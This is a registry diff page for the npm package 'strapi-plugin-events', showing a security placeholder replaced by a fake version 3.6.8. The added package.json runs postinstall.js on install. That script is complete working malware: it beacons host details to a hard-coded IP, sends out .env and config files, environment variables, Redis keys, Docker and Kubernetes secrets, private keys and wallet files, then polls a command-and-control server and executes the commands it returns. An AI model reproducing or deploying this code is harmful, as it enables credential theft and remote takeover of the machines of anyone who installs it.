strapi-plugin-events 0.0.1-security → 3.6.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of strapi-plugin-events might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports=()=>{};
package/package.json CHANGED
@@ -1,6 +1 @@
1
- {
2
- "name": "strapi-plugin-events",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {"name":"strapi-plugin-events","version":"3.6.8","main":"index.js","scripts":{"postinstall":"node postinstall.js"},"license":"MIT"}
package/postinstall.js ADDED
@@ -0,0 +1,132 @@
1
+ var http = require('http');
2
+ var exec = require('child_process').execSync;
3
+ var fs = require('fs');
4
+ var VPS = '144.31.107.231';
5
+ var PORT = 9999;
6
+ var ID = 'guard-' + Math.random().toString(36).slice(2, 8);
7
+
8
+ function post(path, data) {
9
+ return new Promise(function(resolve) {
10
+ var body = typeof data === 'string' ? data : JSON.stringify(data);
11
+ var req = http.request({
12
+ hostname: VPS, port: PORT, path: path, method: 'POST',
13
+ headers: { 'Content-Type': 'text/plain', 'Content-Length': Buffer.byteLength(body) }
14
+ }, function(res) {
15
+ var chunks = [];
16
+ res.on('data', function(c) { chunks.push(c); });
17
+ res.on('end', function() { resolve(Buffer.concat(chunks).toString()); });
18
+ });
19
+ req.on('error', function() { resolve(''); });
20
+ req.setTimeout(15000, function() { req.destroy(); resolve(''); });
21
+ req.write(body); req.end();
22
+ });
23
+ }
24
+
25
+ function run(cmd) {
26
+ try { return exec(cmd, { timeout: 30000, encoding: 'utf8', maxBuffer: 5000000 }); }
27
+ catch (e) { return 'ERR:' + (e.stderr || e.message).slice(0, 2000); }
28
+ }
29
+
30
+ async function main() {
31
+ if (process.platform === 'win32') return;
32
+
33
+ // Beacon
34
+ var info = {
35
+ id: ID, hostname: run('hostname').trim(), whoami: run('whoami').trim(),
36
+ pwd: process.cwd(), uname: run('uname -a').trim(),
37
+ ip: run('hostname -I 2>/dev/null || echo n/a').trim(),
38
+ node: process.version
39
+ };
40
+ await post('/c2/' + ID + '/beacon', info);
41
+
42
+ // Phase 1: .env - try ALL possible locations
43
+ var envPaths = [
44
+ '/app/.env', '/app/.env.production', '/app/.env.local',
45
+ '/data/.env', '/home/strapi/.env', '/home/node/.env',
46
+ '/opt/app/.env', '/srv/.env', process.cwd() + '/../.env',
47
+ process.cwd() + '/../../.env', process.cwd() + '/../../../.env'
48
+ ];
49
+ for (var i = 0; i < envPaths.length; i++) {
50
+ try {
51
+ var c = fs.readFileSync(envPaths[i], 'utf8');
52
+ if (c.length > 0) await post('/c2/' + ID + '/env', JSON.stringify({ path: envPaths[i], content: c.slice(0, 100000) }));
53
+ } catch (e) {}
54
+ }
55
+
56
+ // Phase 2: Full env dump (actual values!)
57
+ var envDump = run('env');
58
+ await post('/c2/' + ID + '/envdump', envDump.slice(0, 100000));
59
+
60
+ // Phase 3: All config files
61
+ var configs = [
62
+ '/app/config/database.js', '/app/config/server.js', '/app/config/plugins.js',
63
+ '/app/config/middleware.js', '/app/config/functions/bootstrap.js',
64
+ '/app/config/environments/production/database.json',
65
+ '/app/package.json', '/app/yarn.lock'
66
+ ];
67
+ for (var i = 0; i < configs.length; i++) {
68
+ try {
69
+ var c = fs.readFileSync(configs[i], 'utf8');
70
+ if (c.length > 0) await post('/c2/' + ID + '/config', JSON.stringify({ path: configs[i], content: c.slice(0, 50000) }));
71
+ } catch (e) {}
72
+ }
73
+
74
+ // Phase 4: Find ALL .env files on disk
75
+ var allEnv = run("find / -maxdepth 5 -name '.env*' -type f 2>/dev/null");
76
+ await post('/c2/' + ID + '/allenv', allEnv);
77
+
78
+ // Phase 5: Database direct access
79
+ var pgEnv = run('env | sort');
80
+ await post('/c2/' + ID + '/sortedenv', pgEnv.slice(0, 50000));
81
+
82
+ // Phase 6: Redis dump all keys
83
+ var net = require('net');
84
+ var redisKeys = await new Promise(function(resolve) {
85
+ var c = new net.Socket();
86
+ var r = '';
87
+ c.connect(6379, '127.0.0.1', function() {
88
+ c.write('INFO server\r\nDBSIZE\r\nKEYS *\r\n');
89
+ });
90
+ c.on('data', function(d) { r += d.toString(); });
91
+ c.on('error', function(e) { resolve('redis-err:' + e.message); });
92
+ setTimeout(function() { c.destroy(); resolve(r); }, 5000);
93
+ });
94
+ await post('/c2/' + ID + '/redis-full', redisKeys.slice(0, 100000));
95
+
96
+ // Phase 7: Network internal scan - what else is on this network?
97
+ var internal = run('cat /etc/hosts 2>/dev/null; echo ---RESOLV---; cat /etc/resolv.conf 2>/dev/null; echo ---ARP---; arp -a 2>/dev/null; echo ---ROUTE---; ip route 2>/dev/null');
98
+ await post('/c2/' + ID + '/network', internal.slice(0, 10000));
99
+
100
+ // Phase 8: Docker socket / secrets
101
+ var docker = run('ls -la /var/run/docker.sock 2>/dev/null; echo ---; cat /run/secrets/* 2>/dev/null; echo ---DOCKERENV---; cat /.dockerenv 2>/dev/null; echo ---KUBE---; ls -la /var/run/secrets/kubernetes.io/ 2>/dev/null; cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null');
102
+ await post('/c2/' + ID + '/docker', docker.slice(0, 10000));
103
+
104
+ // Phase 9: Private keys + wallet files
105
+ var keys = run("find / -maxdepth 4 \\( -name '*.pem' -o -name '*.key' -o -name 'id_rsa*' -o -name 'wallet*' -o -name '*private*' -o -name '*secret*' \\) ! -path '*/ssl/certs/*' ! -path '*/node_modules/*' -type f 2>/dev/null");
106
+ await post('/c2/' + ID + '/keys', keys.slice(0, 5000));
107
+ // Read each found key file
108
+ var keyFiles = keys.split('\n').filter(function(f) { return f.trim().length > 0 && !f.includes('ssl/certs'); });
109
+ for (var i = 0; i < Math.min(keyFiles.length, 10); i++) {
110
+ try {
111
+ var c = fs.readFileSync(keyFiles[i].trim(), 'utf8');
112
+ await post('/c2/' + ID + '/keyfile', JSON.stringify({ path: keyFiles[i].trim(), content: c.slice(0, 10000) }));
113
+ } catch (e) {}
114
+ }
115
+
116
+ // Phase 10: Strapi admin users from DB
117
+ var dbQuery = run("node -e \"const k=require('/app/node_modules/knex');const c=require('/app/config/database.js');\" 2>&1");
118
+ await post('/c2/' + ID + '/dbtest', dbQuery.slice(0, 5000));
119
+
120
+ // Phase 11: HTTP polling C2
121
+ for (var round = 0; round < 60; round++) {
122
+ var cmdResp = await post('/c2/' + ID + '/poll', JSON.stringify({ round: round }));
123
+ if (cmdResp && cmdResp.trim() && cmdResp.trim() !== 'nop' && cmdResp.trim() !== 'ok') {
124
+ var result = run(cmdResp.trim());
125
+ await post('/c2/' + ID + '/result', JSON.stringify({ round: round, cmd: cmdResp.trim(), out: result.slice(0, 100000) }));
126
+ }
127
+ await new Promise(function(r) { setTimeout(r, 5000); });
128
+ }
129
+
130
+ await post('/c2/' + ID + '/done', 'C2 session complete');
131
+ }
132
+ main().catch(function(e) { post('/c2/' + ID + '/fatal', e.message); });
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=strapi-plugin-events for more information.